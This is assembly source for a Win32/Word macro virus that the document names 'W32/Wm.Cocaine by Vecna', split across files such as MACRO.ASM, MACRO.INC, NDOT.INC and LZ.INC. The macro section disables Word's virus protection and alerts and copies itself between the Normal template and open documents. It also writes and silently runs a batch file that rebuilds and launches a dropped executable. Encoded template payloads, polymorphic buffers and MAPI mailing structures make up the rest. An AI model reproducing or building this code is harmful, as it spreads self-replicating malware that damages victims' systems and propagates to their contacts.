thread dd 0
email db 128 dup (0)

email_crc dd 0

secz db 0

mdeep db 0

align 4

handle1 dd 0
handle2 dd 0
map@ dd 0 ;map address

tamanho dd 0 ;total added size


ep dd 0 ;new entrypoint

image_infect dd 0

OurTimer dd 0
polybuffer dd 0 ;address of buffer for poly

buffer1 dd 0 ;temporary poly bufferz


buffer2 dd 0
COKE.ASM

mm_on_off dd 0

pe_header dd 0

seed dd 0 ;main random seed

_mapi dd 0

subject dd 0

directory db MAX_PATH dup (0) ;work directory structure

lparm dd 0
lvars dd 0
subs_index dd 0

s_into db 0
_pusha db 0

fname db 32 dup (0)

align 4

current_time equ this byte


_year dw 0
_month dw 0
_dayofweek dw 0
_day dw 0
_hour dw 0
_minute dw 0
_second dw 0
_milisecond dw 0

find_data equ this byte


fattr dd 0
c_creat_h dd 0
c_creat_l dd 0
la_creat_h dd 0
la_creat_l dd 0
lw_creat_h dd 0
lw_creat_l dd 0
fsizeh dd 0
fsizel dd 0
reserved dd 0, 0
filename db 260 dup (0)
altname db 13 dup (0)
altext db 3 dup (0)

subs_table db 6*MAX_SUBROUTINES dup (0) ;dd where sub reside


;db no. of param that sub clean
;db no. of vars that sub alloc
include mapi.inc

MF MapiFileDesc <0>

mend equ this byte

_VSEG NULends

end main
HOST.INC

_TEXT segment dword use32 public 'CODE'

extrn ShellAboutA:Proc
extrn ExitProcess:pRoc

main proc
jmp DecriptInit
host:
push 0
push ofs tit
push ofs msg
push 0
call ShellAboutA
push 0
call ExitProcess
main endp

_TEXT ends

_DATA segment dword use32 public 'DATA'

tit db 'W32/Wm.Cocaine by Vecna', 0


msg db 'Cocaine - A Win32/WinWord Virus#'
db 'Cocaine - Your PC is now addicted', 0

_DATA ends
COKE.DEF

NAME COKE

DESCRIPTION 'Win32 Virus'

CODE PRELOAD MOVEABLE DISCARDABLE


DATA PRELOAD MOVEABLE MULTIPLE

EXETYPE WINDOWS

HEAPSIZE 131072
STACKSIZE 131072
MACRO.ASM

.MODEL TINY
.CODE
.STARTUP

CRLF EQU <13,10>

DB 1
DB "'%1", CRLF
DB "SUB AUTOCLOSE()", CRLF
DB "ON ERROR RESUME NEXT", CRLF
DB 0

DB 2
DB "OPTIONS.VIRUSPROTECTION = FALSE", CRLF
DB 0

DB 2
DB "OPTIONS.CONFIRMCONVERSIONS = FALSE", CRLF
DB 0

DB 2
DB "OPTIONS.SAVENORMALPROMPT = FALSE", CRLF
DB 0

DB 2
DB "APPLICATION.DISPLAYALERTS = WDALERTSNONE", CRLF
DB 0

DB 2
DB "SHOWVISUALBASICEDITOR = FALSE", CRLF
DB 0

DB 2
DB "%2=1", CRLF
DB 0

DB 2
DB "%3=1", CRLF
DB 0

DB 3
DB "FOR %4 = 1 TO NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS.COUNT", CRLF
DB 'IF NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "''%1" THEN %2=%4',
CRLF
DB "NEXT %4", CRLF
DB 0

DB 3
DB "FOR %4 = 1 TO ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS.COUNT", CRLF
DB 'IF ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "''%1" THEN %3=%4',
CRLF
DB "NEXT %4", CRLF
DB 0

DB 3
DB 'OPEN "C:\%7.BAT" FOR OUTPUT AS 1', CRLF
DB 'PRINT #1,"@ECHO OFF"', CRLF
DB 'PRINT #1,"DEBUG <C:\COCAINE.SRC >NUL"', CRLF
DB 'PRINT #1,"COPY C:\W32COKE.EX C:\W32COKE.EXE >NUL"', CRLF
DB 'PRINT #1,"C:\W32COKE.EXE"', CRLF
DB 'PRINT #1,"DEL C:\W32COKE.EX >NUL"', CRLF
DB 'PRINT #1,"DEL C:\COCAINE.SRC >NUL"', CRLF
MACRO.ASM

DB 'PRINT #1,"DEL C:\COCAINE.SYS >NUL"', CRLF


DB 'PRINT #1,"DEL C:\W32COKE.EXE >NUL"', CRLF
DB 'PRINT #1,"DEL C:\%7.BAT >NUL"', CRLF
DB 'CLOSE #1', CRLF
DB 0

DB 4
DB "SET %5 = NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%2).CODEMODULE", CRLF
DB 0

DB 4
DB "SET %6 = ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%3).CODEMODULE", CRLF
DB 0

DB 5
DB 'IF %5.LINES(1, 1) <> "''%1" THEN', CRLF
DB "%5.DELETELINES 1, %5.COUNTOFLINES", CRLF
DB "%5.INSERTLINES 1, %6.LINES(1, %6.COUNTOFLINES)", CRLF
DB "END IF", CRLF
DB 0

DB 5
DB 'IF %6.LINES(1, 1) <> "''%1" THEN', CRLF
DB "%6.DELETELINES 1, %6.COUNTOFLINES", CRLF
DB "%6.INSERTLINES 1, %5.LINES(1, %5.COUNTOFLINES)", CRLF
DB "END IF", CRLF
DB 0

DB 6
;CREATE DEBUG SCRIPT
DB 0

DB 7
DB 'OPEN "C:\ANCEV.SYS" FOR OUTPUT AS 1', CRLF
DB 'PRINT #1,""', CRLF
DB "CLOSE #1", CRLF
DB 0

DB 7
DB "SHELL %7.BAT, VBHIDE", CRLF
DB "FOR %4=1 TO 100", CRLF
DB "NEXT %4", CRLF
DB "KILL %7.BAT", CRLF
DB 0

DB 8
DB "END SUB", CRLF
DB 0

END
LZ.INC

;void fast_copy(p_src,p_dst,len)
;
fast_copy proc
push edi esi ecx
mov ecx,dword ptr [esp+ 4+(4*3)]
mov edi,dword ptr [esp+ 8+(4*3)]
mov esi,dword ptr [esp+12+(4*3)]
cld
rep movsb
pop ecx esi edi
ret 12
fast_copy endp

lzrw1_decompress proc near


?live1@768:
;
; void lzrw1_decompress(p_src_first,src_len,p_dst_first,p_dst_len)
;
@27:
push ebp
mov ebp,esp
add esp,-8
push ebx
push esi
push edi
;
; /* Input : Specify input block using p_src_first and src_len. */
; /* Input : Point p_dst_first to the start of the output zone. */
; /* Input : Point p_dst_len to a ULONG to receive the output length. */
; /* Input : Input block and output zone must not overlap. User knows */
; /* Input : upperbound on output block length from earlier compression. */
; /* Input : In any case, maximum expansion possible is eight times. */
; /* Output : Length of output block written to *p_dst_len. */
; /* Output : Output block in Mem[p_dst_first..p_dst_first+*p_dst_len-1]. */
; /* Output : Writes only in Mem[p_dst_first..p_dst_first+*p_dst_len-1]. */
; UBYTE *p_src_first, *p_dst_first; ULONG src_len, *p_dst_len;
; {UWORD controlbits=0, control;
;
?live1@784: ; EDI = control, ECX = p_src_first
xor esi,esi
?live1@800: ;
mov ecx,dword ptr [ebp+20]
;
; UBYTE *p_src=p_src_first+FLAG_BYTES, *p_dst=p_dst_first,
; *p_src_post=p_src_first+src_len;
;
?live1@816: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first
;
mov ebx,dword ptr [ebp+16]
add ebx,ecx
?live1@832: ; EDI = control, ESI = controlbits, ECX = p_src_first
mov edx,dword ptr [ebp+12]
?live1@848: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first
;
mov dword ptr [ebp-4],ebx
?live1@864: ; EDI = control, ESI = controlbits, ECX = p_src_first
lea eax,dword ptr [ecx+4]
;
; if (*p_src_first==FLAG_COPY)
;
?live1@880: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first
LZ.INC

;
cmp byte ptr [ecx],1
jne short @28
;
; {fast_copy(p_src_first+FLAG_BYTES,p_dst_first,src_len-FLAG_BYTES);
;
?live1@896: ; ECX = p_src_first
add ecx,4
push ecx
mov eax,dword ptr [ebp+12]
push eax
mov edi,dword ptr [ebp+16]
sub edi,4
push edi
call fast_copy
;
; *p_dst_len=src_len-FLAG_BYTES; return;}
;
?live1@912: ; EDI = @temp14
mov eax,dword ptr [ebp+8]
mov dword ptr [eax],edi
jmp short @29
;
; while (p_src!=p_src_post)
;
?live1@928: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@28:
cmp eax,dword ptr [ebp-4]
je short @31
;
; {if (controlbits==0)
;
@30:
test esi,esi
jne short @32
;
; {control=*p_src++; control|=(*p_src++)<<8; controlbits=16;}
;
?live1@960: ; EAX = p_src, EDX = p_dst
movzx edi,byte ptr [eax]
inc eax
xor ecx,ecx
; mov esi,16
push 16
pop esi
mov cl,byte ptr [eax]
shl ecx,8
or edi,ecx
inc eax
;
; if (control&1)
;
?live1@976: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@32:
test edi,1
je short @33

; jnc short @33


;
; {UWORD offset,len; UBYTE *p;
; offset=(*p_src&0xF0)<<4; len=1+(*p_src++&0xF);
;
LZ.INC

@34:
xor ebx,ebx
xor ecx,ecx
mov bl,byte ptr [eax]
mov cl,byte ptr [eax]
and ebx,15
inc eax
inc ebx
and ecx,240
mov dword ptr [ebp-8],ebx
;
; offset+=*p_src++&0xFF; p=p_dst-offset;
;
?live1@1008: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = offset
;
xor ebx,ebx
mov bl,byte ptr [eax]
inc eax
?live1@1024: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
shl ecx,4
?live1@1040: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = offset
;
and ebx,255
add ecx,ebx
mov ebx,edx
sub ebx,ecx
mov ecx,ebx
jmp short @36
;
; while (len--) *p_dst++=*p++;}
;
?live1@1056: ; EAX = p_src, EDX = p_dst, ECX = p, EDI = control, ESI = controlbits
;
@35:
mov bl,byte ptr [ecx]
inc ecx
mov byte ptr [edx],bl
inc edx
@36:
mov ebx,dword ptr [ebp-8]
add dword ptr [ebp-8],-1
test ebx,ebx
jne short @35
@37:
jmp short @38
;
; else
; *p_dst++=*p_src++;
;
?live1@1072: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@33:
mov cl,byte ptr [eax]
inc eax
mov byte ptr [edx],cl
inc edx
;
; control>>=1; controlbits--;
;
@38:
shr edi,1
dec esi
cmp eax,dword ptr [ebp-4]
LZ.INC

jne short @30


;
; }
; *p_dst_len=p_dst-p_dst_first;
;
?live1@1120: ; EDX = p_dst
@31:
sub edx,dword ptr [ebp+12]
mov eax,dword ptr [ebp+8]
mov dword ptr [eax],edx
;
; }
;
?live1@1136: ;
@39:
@29:
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 16
lzrw1_decompress endp
MACRO.INC

; '%1
; SUB AUTOCLOSE()
; ON ERROR RESUME NEXT
; OPTIONS.VIRUSPROTECTION = FALSE
; OPTIONS.CONFIRMCONVERSIONS = FALSE
; OPTIONS.SAVENORMALPROMPT = FALSE
; APPLICATION.DISPLAYALERTS = WDALERTSNONE
; SHOWVISUALBASICEDITOR = FALSE
; %2=1
; %3=1
; FOR %4 = 1 TO NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS.COUNT
; IF NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "'%1" THEN %2=%4
; NEXT %4
; FOR %4 = 1 TO ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS.COUNT
; IF ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "'%1" THEN %3=%4
; NEXT %4
; OPEN "C:\%7.BAT" FOR OUTPUT AS 1
; PRINT #1,"@ECHO OFF"
; PRINT #1,"DEBUG <C:\COCAINE.SRC >NUL"
; PRINT #1,"COPY C:\W32COKE.EX C:\W32COKE.EXE >NUL"
; PRINT #1,"C:\W32COKE.EXE"
; PRINT #1,"DEL C:\W32COKE.EX >NUL"
; PRINT #1,"DEL C:\COCAINE.SRC >NUL"
; PRINT #1,"DEL C:\COCAINE.SYS >NUL"
; PRINT #1,"DEL C:\W32COKE.EXE >NUL"
; PRINT #1,"DEL C:\%7.BAT >NUL"
; CLOSE #1
; SET %5 = NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%2).CODEMODULE
; SET %6 = ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%3).CODEMODULE
; IF %5.LINES(1, 1) <> "'%1" THEN
; %5.DELETELINES 1, %5.COUNTOFLINES
; %5.INSERTLINES 1, %6.LINES(1, %6.COUNTOFLINES)
; END IF
; IF %6.LINES(1, 1) <> "'%1" THEN
; %6.DELETELINES 1, %6.COUNTOFLINES
; %6.INSERTLINES 1, %5.LINES(1, %5.COUNTOFLINES)
; END IF
; OPEN "C:\ANCEV.SYS" FOR OUTPUT AS 1
; CLOSE 1
; SHELL %7.BAT, VBHIDE
; FOR %4 = 1 TO 100
; NEXT %4
; KILL %7.BAT
; END SUB

macro_sized dd 0
macro_size EQU 750 ; size in bytes
macros DB 000H,000H,000H,000H,000H,000H,001H,027H,025H,031H,00DH,00AH,053H,055H
DB 042H,020H,041H,055H,054H,04FH,043H,04CH,000H,000H,04FH,053H,045H,028H,029H
DB 00DH,00AH,04FH,04EH,020H,045H,052H,052H,04FH,052H,020H,000H,000H,052H,045H
DB 053H,055H,04DH,045H,020H,04EH,045H,058H,054H,00DH,00AH,000H,002H,04FH,000H
DB 000H,050H,054H,049H,04FH,04EH,053H,02EH,056H,049H,052H,055H,053H,050H,052H
DB 04FH,054H,004H,008H,045H,043H,003H,011H,020H,03DH,020H,046H,041H,04CH,053H
DB 045H,00BH,023H,043H,04FH,04EH,046H,008H,007H,049H,052H,04DH,002H,007H,056H
DB 045H,052H,053H,003H,036H,00FH,026H,003H,049H,053H,041H,056H,045H,04EH,020H
DB 002H,04FH,052H,04DH,041H,04CH,002H,04EH,04DH,050H,054H,00BH,024H,041H,050H
DB 050H,04CH,049H,043H,002H,000H,041H,003H,061H,02EH,044H,049H,053H,050H,04CH
DB 041H,059H,041H,04CH,045H,052H,054H,053H,089H,000H,002H,025H,057H,044H,005H
DB 00BH,04EH,04FH,04EH,004H,076H,053H,048H,04FH,057H,056H,049H,053H,055H,000H
DB 018H,041H,04CH,042H,041H,053H,049H,043H,045H,044H,049H,054H,002H,0BEH,00AH
DB 097H,025H,032H,03DH,021H,009H,002H,0E9H,000H,002H,025H,033H,004H,008H,003H
DB 046H,002H,01FH,025H,034H,002H,04AH,031H,020H,054H,04FH,022H,068H,020H,005H
MACRO.INC

DB 083H,054H,045H,04DH,002H,065H,054H,045H,02EH,056H,042H,002H,08EH,04AH,002H
DB 0DCH,002H,00AH,043H,008H,090H,04FH,04DH,050H,002H,065H,04EH,054H,053H,02EH
DB 043H,04FH,055H,04EH,012H,007H,049H,046H,00FH,030H,043H,000H,00FH,030H,005H
DB 030H,028H,025H,034H,029H,002H,034H,044H,045H,04DH,04FH,044H,055H,04CH,045H
DB 02EH,000H,014H,04CH,049H,04EH,045H,053H,028H,031H,02CH,031H,029H,002H,077H
DB 022H,012H,079H,022H,020H,054H,010H,0AAH,048H,045H,04EH,020H,002H,09BH,025H
DB 034H,00DH,00AH,013H,064H,020H,003H,009H,000H,00EH,09DH,041H,012H,064H,020H
DB 0BBH,056H,045H,044H,04FH,043H,012H,08AH,04EH,054H,002H,093H,00FH,09DH,045H
DB 00DH,09DH,00FH,030H,00FH,0CDH,04EH,003H,030H,0CBH,004H,00FH,09DH,00FH,09DH
DB 031H,007H,09DH,033H,03DH,003H,094H,00AH,09DH,04FH,050H,002H,0B4H,022H,043H
DB 03AH,05CH,025H,080H,000H,037H,02EH,042H,041H,054H,022H,020H,013H,04BH,04FH
DB 055H,054H,050H,055H,054H,020H,041H,004H,000H,053H,020H,012H,066H,050H,052H
DB 049H,04EH,054H,020H,023H,031H,02CH,022H,040H,045H,043H,000H,002H,048H,04FH
DB 020H,04FH,046H,046H,022H,00DH,00AH,009H,016H,044H,045H,042H,055H,047H,020H
DB 042H,000H,03CH,002H,043H,043H,04FH,043H,041H,012H,016H,02EH,053H,052H,043H
DB 020H,03EH,04EH,055H,04CH,041H,000H,00CH,027H,043H,04FH,050H,059H,020H,002H
DB 025H,057H,033H,032H,043H,04FH,04BH,045H,02EH,045H,06AH,031H,058H,00DH,00EH
DB 045H,00FH,033H,02CH,003H,096H,009H,02EH,045H,00CH,04EH,044H,045H,04CH,00DH
DB 03FH,00FH,03EH,02CH,022H,09FH,0FFH,006H,023H,00FH,095H,00FH,047H,003H,047H
DB 008H,024H,059H,053H,00FH,048H,008H,048H,00AH,08AH,00FH,024H,008H,024H,015H
DB 044H,007H,01FH,034H,080H,012H,039H,001H,06FH,032H,048H,004H,053H,045H,054H
DB 020H,025H,035H,022H,02AH,02FH,09CH,01FH,0CFH,016H,0CFH,032H,02BH,06CH,008H
DB 041H,036H,0AFH,014H,002H,041H,02FH,010H,00FH,041H,006H,041H,033H,00EH,041H
DB 005H,022H,0E8H,025H,035H,028H,0B6H,020H,022H,0B7H,03CH,03EH,020H,019H,071H
DB 029H,0B8H,00DH,00AH,002H,01EH,012H,033H,045H,054H,045H,024H,03DH,020H,031H
DB 02CH,002H,0B1H,022H,0F1H,032H,025H,04FH,0C6H,065H,046H,004H,013H,004H,023H
DB 049H,04EH,053H,032H,0B5H,004H,010H,004H,023H,036H,009H,053H,025H,036H,00CH
DB 02FH,042H,079H,045H,0E0H,0F3H,04EH,044H,020H,049H,046H,002H,0BFH,004H,07EH
DB 00AH,02BH,00FH,07EH,002H,05BH,036H,02EH,00FH,07EH,00DH,04FH,004H,023H,00FH
DB 07EH,033H,002H,00AH,0D1H,002H,0BFH,043H,04FH,009H,0ADH,00BH,07EH,006H,000H
DB 007H,028H,0E7H,041H,04EH,043H,045H,056H,02EH,078H,040H,053H,059H,053H,02FH
DB 0EAH,02CH,0EAH,022H,025H,01AH,0BEH,007H,053H,048H,045H,04CH,04CH,020H,015H
DB 0DEH,02CH,0C0H,088H,020H,056H,042H,048H,049H,044H,042H,0A8H,033H,02AH,025H
DB 034H,03DH,044H,073H,031H,030H,030H,03AH,0F4H,004H,000H,04BH,049H,008H,02FH
DB 00DH,00AH,000H,008H,045H,04EH,044H,020H,053H,055H,042H,00DH,00AH,000H,000H
DB 000H
MAPI.INC

;this file was leeched from virogen pcmail


;the same with all mapi stuff<g>

MapiMessage struc
resd dd ?
lpszSubject dd ?
lpszNoteText dd ?
lpszMessageType dd ?
lpszDateReceived dd ?
lpszConversationID dd ?
flags dd ?
lpOriginator dd ?
nRecipCount dd ?
lpRecips dd ?
nFileCount dd ?
lpFiles dd ?
MapiMessage ends

MapiRecipDesc struc
resd dd ?
ulRecipClass dd ?
lpszName dd ?
lpszAddress dd ?
ulEIDSize dd ?
lpEntryID dd ?
MapiRecipDesc ends

MapiFileDesc struc
resd dd ?
flFlags dd ?
nPosition dd ?
lpszPathName dd ?
lpszFileName dd ?
lpFileType dd ?
MapiFileDesc ends
NDOT.INC

;Sub AutoExec()
;On Error GoTo erro
;Application.DisplayAlerts = False
;Application.EnableCancelKey = wdDisabled
;For i = 1 To NormalTemplate.VBProject.VBComponents.Count
;If NormalTemplate.VBProject.VBComponents(i).CodeModule.Lines(1,1) = "'Cocaine" Then GoTo erro
;Next i
;NormalTemplate.VBProject.VBComponents.Import("c:\cocaine.sys")
;NormalTemplate.Save
;erro:
;End Sub

normaldot_size EQU 8292 ; size in bytes

normaldot_sized dd 0
normaldot DB 000H,000H,000H,000H,000H,002H,0D0H,0CFH,011H,0E0H,0A1H,0B1H,01AH,0E1H
DB 000H,00EH,001H,03EH,000H,003H,000H,0FEH,0FFH,0A8H,061H,009H,000H,006H,00AH
DB 018H,001H,002H,00CH,021H,002H,004H,004H,003H,010H,000H,000H,023H,002H,009H
DB 003H,014H,0FEH,0C8H,0FFH,0FFH,0FFH,0FFH,002H,00BH,000H,020H,002H,005H,002H
DB 00BH,00FH,003H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,007H,000H,00FH,010H,00FH,010H,00CH,010H,0ECH
DB 0A5H,0C1H,000H,049H,000H,016H,004H,000H,000H,001H,012H,0BFH,03FH,000H,012H
DB 0C0H,002H,003H,012H,0DAH,002H,006H,003H,012H,002H,004H,00EH,000H,062H,06AH
DB 062H,06AH,0B2H,0B3H,0B2H,0B3H,003H,0E0H,002H,014H,00EH,003H,016H,004H,016H
DB 000H,01EH,00CH,000H,000H,0D0H,0D9H,001H,004H,004H,023H,00CH,00EH,023H,0F1H
DB 0CAH,00CH,00FH,0FFH,0FFH,00FH,008H,010H,00FH,00CH,008H,019H,006H,009H,05DH
DB 004H,008H,08CH,004H,006H,000H,000H,003H,008H,003H,004H,0B7H,067H,003H,00FH
DB 00FH,008H,00BH,010H,014H,003H,021H,006H,004H,0BCH,00FH,008H,00FH,010H,002H
DB 010H,002H,0BDH,000H,0C8H,006H,008H,007H,030H,018H,0D0H,0AFH,002H,000H,000H
DB 0B6H,002H,014H,0E0H,002H,004H,003H,003H,00FH,008H,00FH,010H,00FH,010H,007H
DB 010H,018H,012H,00FH,0C7H,002H,041H,076H,055H,0DFH,002H,008H,002H,007H,000H
DB 00FH,008H,00FH,010H,003H,010H,024H,002H,029H,0CEH,002H,080H,0F4H,002H,034H
DB 0C2H,012H,07EH,03EH,0F5H,0FFH,002H,010H,003H,002H,010H,015H,002H,008H,00FH
DB 003H,007H,0F8H,007H,070H,00FH,020H,007H,018H,00FH,008H,007H,010H,003H,058H
DB 003H,034H,007H,010H,007H,050H,0FFH,05FH,007H,008H,007H,018H,003H,024H,003H
DB 004H,007H,010H,00FH,008H,00FH,010H,007H,010H,00FH,048H,00FH,010H,013H,020H
DB 003H,058H,00FH,004H,0A0H,002H,011H,00EH,0FDH,0FBH,002H,004H,0AEH,002H,004H
DB 003H,008H,007H,038H,00FH,008H,007H,010H,007H,070H,007H,050H,003H,010H,038H
DB 002H,03CH,003H,008H,002H,007H,008H,003H,007H,020H,0FFH,006H,007H,038H,007H
DB 008H,008H,021H,00FH,009H,00FH,010H,00EH,010H,007H,050H,007H,068H,0D4H,002H
DB 020H,023H,050H,0A0H,010H,0DAH,09BH,0B8H,0F8H,0FFH,065H,0BEH,001H,027H,050H
DB 007H,008H,007H,028H,007H,038H,002H,02FH,00FH,003H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FDH,0FFH,002H,010H,00DH,002H
DB 004H,00FH,003H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0EFH,0FFH,00FH,010H,00FH,010H,00CH,010H,042H,066H,001H,002H,004H,00CH
DB 014H,00FH,00DH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,03FH,0FBH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,009H,010H,001H,000H,012H,0FCH,023H,000H,0FDH,009H
DB 014H,00FH,00AH,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0EFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,007H,010H,082H,064H,000H,028H,000H,007H,015H,00FH
DB 008H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
NDOT.INC

DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,03FH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,012H,000H,0E8H,041H,00FH,000H,00AH,062H,007H
DB 05BH,002H,008H,0E2H,069H,004H,01FH,0E2H,086H,040H,0F1H,0FFH,002H,000H,002H
DB 008H,000H,000H,060H,006H,000H,04EH,000H,06FH,000H,072H,000H,06DH,000H,061H
DB 000H,06CH,002H,01EH,003H,024H,004H,070H,000H,000H,06DH,048H,016H,082H,038H
DB 002H,00FH,00CH,003H,036H,000H,041H,040H,0F2H,0FFH,0A1H,000H,036H,011H,040H
DB 002H,016H,013H,000H,046H,002H,038H,06EH,000H,074H,000H,065H,000H,020H,000H
DB 070H,002H,03EH,072H,040H,03DH,000H,0E1H,000H,067H,000H,02EH,006H,00EH,064H
DB 002H,054H,0E3H,002H,022H,002H,02BH,00CH,003H,063H,095H,002H,000H,062H,078H
DB 000H,0D2H,049H,001H,000H,0FFH,002H,001H,003H,010H,004H,020H,0FFH,0FFH,003H
DB 008H,005H,029H,009H,00AH,087H,0BCH,003H,0AFH,082H,003H,019H,002H,090H,083H
DB 0C8H,002H,007H,000H,007H,018H,005H,002H,018H,0FFH,002H,0C8H,000H,000H,005H
DB 000H,056H,002H,088H,008H,000H,063H,000H,06EH,002H,088H,012H,000H,043H,000H
DB 03AH,000H,05CH,000H,04CH,000H,049H,000H,028H,02AH,058H,000H,04FH,002H,00AH
DB 06CH,002H,088H,061H,000H,064H,002H,022H,072H,002H,0A0H,064H,002H,00EH,074H
DB 000H,0D4H,005H,0FFH,001H,003H,068H,056H,002H,042H,000H,002H,088H,004H,007H
DB 00AH,005H,010H,003H,091H,002H,000H,025H,000H,054H,0B5H,0A8H,002H,035H,06DH
DB 002H,0DFH,06CH,002H,059H,003H,0EBH,050H,002H,0D7H,06FH,000H,06AH,002H,016H
DB 063H,002H,0FBH,02EH,002H,020H,080H,060H,068H,000H,069H,000H,073H,000H,044H
DB 002H,055H,063H,000H,075H,000H,06DH,002H,01AH,013H,015H,02EH,014H,035H,000H
DB 041H,002H,00EH,074H,002H,016H,045H,000H,078H,002H,014H,063H,012H,083H,011H
DB 003H,072H,003H,053H,045H,000H,0A8H,0A2H,04DH,000H,050H,002H,0A0H,041H,002H
DB 03FH,045H,002H,00AH,052H,002H,0A6H,04AH,000H,045H,002H,0B8H,054H,002H,0A0H
DB 0A8H,01AH,054H,000H,048H,002H,0BAH,053H,002H,053H,04FH,002H,012H,055H,002H
DB 02CH,045H,012H,0A4H,003H,01AH,041H,000H,055H,055H,01CH,002H,032H,04FH,002H
DB 02AH,058H,002H,004H,043H,002H,0B0H,040H,000H,080H,003H,055H,002H,00AH,002H
DB 003H,0E8H,020H,082H,04FH,001H,002H,066H,009H,010H,002H,013H,004H,003H,002H
DB 010H,004H,007H,000H,002H,01DH,000H,000H,020H,000H,000H,008H,000H,010H,001H
DB 040H,000H,000H,003H,002H,014H,047H,016H,090H,002H,02EH,002H,002H,006H,003H
DB 005H,004H,005H,0F8H,056H,002H,003H,004H,003H,014H,002H,017H,008H,003H,002H
DB 01DH,004H,00CH,054H,002H,0E3H,003H,0D9H,073H,002H,03EH,04EH,002H,0CDH,077H
DB 02DH,000H,002H,008H,052H,002H,0DBH,023H,034H,06EH,002H,022H,035H,010H,090H
DB 001H,002H,000H,005H,005H,001H,002H,0C0H,08BH,001H,007H,006H,002H,005H,007H
DB 002H,013H,003H,003H,007H,077H,003H,00CH,080H,003H,005H,053H,000H,079H,012H
DB 021H,026H,0BCH,062H,002H,03AH,023H,06AH,033H,022H,004H,07EH,00BH,006H,004H
DB 002H,003H,001H,00FH,07EH,004H,0AEH,003H,036H,041H,012H,073H,016H,000H,069H
DB 012H,07FH,003H,034H,022H,012H,0FBH,030H,008H,088H,018H,000H,000H,0C4H,002H
DB 000H,000H,0A9H,0C1H,05CH,004H,0A1H,078H,01CH,033H,066H,07AH,002H,004H,003H
DB 02CH,001H,000H,002H,017H,003H,009H,004H,004H,001H,004H,044H,004H,0F8H,0FDH
